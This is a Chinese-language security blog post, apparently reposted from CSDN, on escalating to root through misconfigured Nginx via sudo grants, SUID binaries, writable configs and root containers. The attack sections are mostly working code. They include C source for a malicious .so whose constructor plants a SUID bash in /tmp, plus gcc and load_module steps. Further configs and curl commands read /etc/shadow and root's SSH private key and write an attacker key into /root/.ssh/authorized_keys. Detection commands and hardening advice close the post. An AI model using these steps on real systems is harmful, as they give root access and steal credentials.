// 安全研究 · 2025-07-05

Nginx 配置文件提权的实战思考

1. 引言:被低估的“配置即代码”风险

在传统的系统安全审计与红蓝对抗场景中,Nginx、Apache 这类成熟的 Web 服务器自身极少暴露出直接导致系统提权的远程漏洞。然而,Nginx 常常被用作实现本地权限提升(LPE)或权限维持(Persistence)的隐蔽跳板。

提权的根源取决于运行 Nginx Master 进程的“实际用户(UID)”是谁,以及该进程对配置文件的控制权是否发生了交割。一旦低权限用户能够篡改 Nginx 配置文件,或通过参数指定自定义配置,且 Nginx Master 进程具有高权限,那么 Nginx 将瞬间蜕变为一个天然的“特权代码执行器”。


2. 场景复现:四种高危权限拓扑

在以下几种典型的生产或靶场环境中,攻击者极易通过 Nginx 夺取更高权限:

2.1 错误的 Sudo 权限下放

运维人员为了让特定开发或运维账号(如 mikannse)能够重启服务,在 /etc/sudoers 中配置了免密执行全局 Nginx 命令:

mikannse ALL=(ALL : ALL) NOPASSWD: /usr/sbin/sbin/nginx

2.2 SUID 权限滥用

为了绕过复杂的权限控制,运维人员直接给 Nginx 二进制文件赋予了 SUID 权限:

chmod +s /usr/sbin/nginx

此时任何低权限用户执行该程序,Linux 内核都会强制以该二进制文件所有者(通常是 root)的有效用户 ID(EUID)来运行该进程。

2.3 配置文件自主访问控制(DAC)缺陷

Nginx 默认由 systemd 以 root 身份启动主进程(Master Process)。但由于后期运维调整或配置自动化工具的不当设置,导致 /etc/nginx/nginx.conf 或 /etc/nginx/conf.d/ 目录对普通用户或 Web 用户(如 www-data)开放了写权限。

2.4 容器环境默认 Root 运行

在许多默认的 Docker 镜像中,Nginx Master 进程在容器内直接以 root 权限运行。一旦攻击者通过 Webshell 拿到容器权限并能修改配置,即可利用该链条在容器内提权,进而作为实施容器逃逸的基础跳板。


3. 核心利用链解析与深层原理

Nginx 原生支持使用 -c 参数指定自定义配置文件(nginx -c /path/to/malicious.conf),并在全局块中支持通过 load_module 指令动态加载标准 ELF 动态链接库(.so 文件)。这一特性构成了以下几条致命的攻击链。

3.1 利用链一:动态模块加载提权(内存级代码执行)

3.1.1 原理深入解析

自 Nginx 1.9.11 版本引入动态模块(Dynamic Modules)以来,标准扩展均编译为 .so 文件。当 Nginx 解析到 load_module 指令时,其底层调用的是 C 语言标准库中的 dlopen() 函数。

如果我们在 C 代码中使用 __attribute__((constructor)) 属性,编译器会将该段代码编译进 ELF 文件的 .init 或 .init_array 节(Section)中。这意味着无需等待任何 Web 请求,只要 Nginx 进程启动并解析该行配置,恶意动态链接库中的代码就会在 Master 进程(以 root 身份运行)的上下文中立即、无条件地执行。

3.1.2 攻击实施步骤

1. 编写恶意 C 模块代码 (pwn.c)
#include <unistd.h>
#include <stdlib.h>
#include <sys/types.h>

// 声明构造函数,确保在 .so 加载时立即触发
__attribute__((constructor))
void init() {
    // 关键点:显式同步内核中的实际 UID (RUID) 与有效 UID (EUID)
    // 很多利用脚本失败的原因是未处理 RUID,导致 system() 降权运行
    setuid(0); 
    setgid(0);
    
    // 劫持执行流:向系统写入 SUID 后门
    system("cp /bin/bash /tmp/rootbash && chmod +xs /tmp/rootbash");
}
2. 编译为符合 ELF 规范的动态链接库
gcc -fPIC -shared -o /tmp/pwn.so pwn.c
3. 编写引入该模块的恶意配置文件 (bypass.conf)
# 在全局块首行加载恶意模块
load_module /tmp/pwn.so;

events {
    worker_connections 1024;
}

http {
    # 保持最简结构以防语法报错导致进程提前崩溃
}
4. 触发加载

以特权身份(通过 sudo、SUID 或劫持系统服务重启)加载该配置:

/usr/sbin/nginx -c /tmp/bypass.conf

防御侧视角: 即使 Nginx 随后因为没有配置监听端口或语法不完整而报错退出,/tmp/rootbash 也已经在其退出的前一毫秒被内核处理完毕。攻击者只需执行 /tmp/rootbash -p 即可直接获得持久化的 root shell。


3.2 利用链二:任意文件读取与高价值资产横向移动

3.2.1 原理说明

如果目标服务器属于精简生产环境(如裁剪过的容器),没有编译环境(缺少 gcc),无法生成 .so 文件,攻击者可以利用 Nginx 的静态文件服务能力突破文件系统的自主访问控制(DAC)限制。

3.2.2 恶意配置示例 (read.conf)

user root; # 强制 Worker 进程以 root 身份运行,否则无法读取 /etc/shadow
worker_processes 1;

events { worker_connections 1024; }

http {
    server {
        listen 127.0.0.1:9999; # 仅监听本地,规避外部网络安全设备的流量感知

        location / {
            root /; # 将系统根目录直接映射为 Web 根目录
            autoindex on; # 开启目录资产遍历,用于快速盘点敏感资产
        }
    }
}

3.2.3 资产获取

启动后,通过本地发起请求,可以直接向 root 进程索取敏感文件:

curl http://127.0.0.1:9999/etc/shadow
curl http://127.0.0.1:9999/root/.ssh/id_rsa

通过获取 shadow 哈希进行本地离线爆破,或直接窃取 root 的 SSH 私钥,均能实现隐蔽的权限跃升。


3.3 利用链三:通过 WebDAV 协议实现任意文件写入与持久化控制

3.3.1 原理说明

当 Nginx 拥有高权限且编译时开启了 ngx_http_dav_module 模块时,可以通过 HTTP PUT 方法向服务器上传任意文件。攻击者可以借此向系统敏感路径(如用户的 cron 计划任务、/etc/passwd、或用户的 authorized_keys)直接写入或覆盖数据。

3.3.2 恶意配置示例 (write.conf)

user root;
events {}
http {
    server {
        listen 9998;
        location / {
            root /root/.ssh/; # 映射目标用户的公钥配置目录
            dav_methods PUT DELETE; # 激活 WebDAV 写入与删除能力
            create_full_put_path on;
            client_body_temp_path /tmp;
        }
    }
}

3.3.3 攻击利用

# 直接向 root 的 ssh 目录写入攻击者的公钥
curl -T /home/mikannse/.ssh/id_rsa.pub http://127.0.0.1:9998/authorized_keys

4. 攻击矩阵与风险量化对比

以下表格从实战角度对各攻击路径进行全方位对比:

利用链名称 核心依赖条件 权限获取形式 内存与磁盘痕迹 风险隐蔽度
动态模块加载 (load_module) 具备 .so 写入权限,系统有 dlopen 支持 瞬时获取 Root Shell 磁盘存留 .so,内存触发代码执行 极高(可规避传统文件操作行为审计)
任意文件读取 (root /) 能够修改或指定配置,需要端口监听 信息泄露 / 间接提权 产生 Web 访问日志,暴露本地高位端口 中等(易被本地端口扫描识别)
WebDAV 文件写入 (PUT) 编译有 dav 模块,目录具写权限 持久化后门 / 覆盖提权 文件系统产生直接变更,写日志留痕 较低(易触发主机入侵检测系统 HIDS)

5. 应急排查与主机加固防御

5.1 应急排查重点命令

作为安全管理员,当怀疑系统被通过 Nginx 提权时,应立即执行以下审计步骤:

检查非预期的 Nginx 配置文件加载

# 查看当前运行的 Nginx 进程其真实的命令行参数,重点排查 -c 是否指向异常路径
ps -ef | grep nginx

# 检查当前 Nginx 进程打开的文件句柄,确认是否有非 root 目录下的 .so 模块被载入
lsof -p $(pgrep -o nginx) | grep '\.so'

审计配置文件写权限

# 查找系统中所有对普通用户开放写权限的 Nginx 配置文件
find /etc/nginx/ -name "*.conf" -perm -o+w

5.2 纵深防御与加固方案

5.2.1 严格收敛二阶参数执行权

在配置 sudo 权限时,切忌直接授予对 /usr/sbin/nginx 二进制的泛解析执行权。应通过限制可选参数,锁定配置文件的生成与加载:

# 仅允许执行默认配置的测试与重启,显式禁止 -c 参数的使用
mikannse ALL=(ALL : ALL) NOPASSWD: /usr/sbin/nginx -t, /usr/sbin/nginx -s reload

5.2.2 践行“配置只读”原则

确保整个 /etc/nginx/ 及其子目录下的所有 .conf 文件的所有者均为 root:root,且权限严格限制为 644(仅 root 可写)。防止低权限 Web 服务账号(如 www-data)因应用层漏洞沦陷后,通过修改配置链条联动导致整机提权。

5.2.3 生产环境能力剪裁

  • 阻断动态加载引擎: 如果业务不需要第三方动态模块,在编译 Nginx 时,应通过 --without-dynamic-module 彻底关闭动态加载引擎。
  • 移除工具链: 生产环境中应全面卸载 gcc、make、clang 等编译工具,大幅度增高攻击者现场编译恶意 .so 模块的技术门槛。

5.2.4 容器安全硬化(反减刑配置)

在 Dockerfile 中,应当创建低权限的专有 nginx 用户,并使用 USER nginx 指令切换运行上下文,结合 Linux Capabilities(仅授予 CAP_NET_BIND_SERVICE 以监听低位端口,绝不授予 CAP_SYS_MODULE),避免 Master 进程在容器内以原始 root 权限运行。


6. 结论

“配置即代码(Configuration as Code)”。Nginx 本身具有极高的工程鲁棒性,但赋予其高度灵活性的 -c 参数与 load_module 特性,在操作系统权限划分模糊时,极易被转化为高效的命令执行武器。在进行日常资产合规审计与系统加固时,切莫单纯孤立地去检查软件版本补丁,对进程执行树(Process Tree)的 UID 归属、以及配置文件的写权限矩阵进行交叉审计,才是将此类本地提权风险化解于无形的关键所在。

原文 https://blog.csdn.net/2301_79518550/article/details/149136592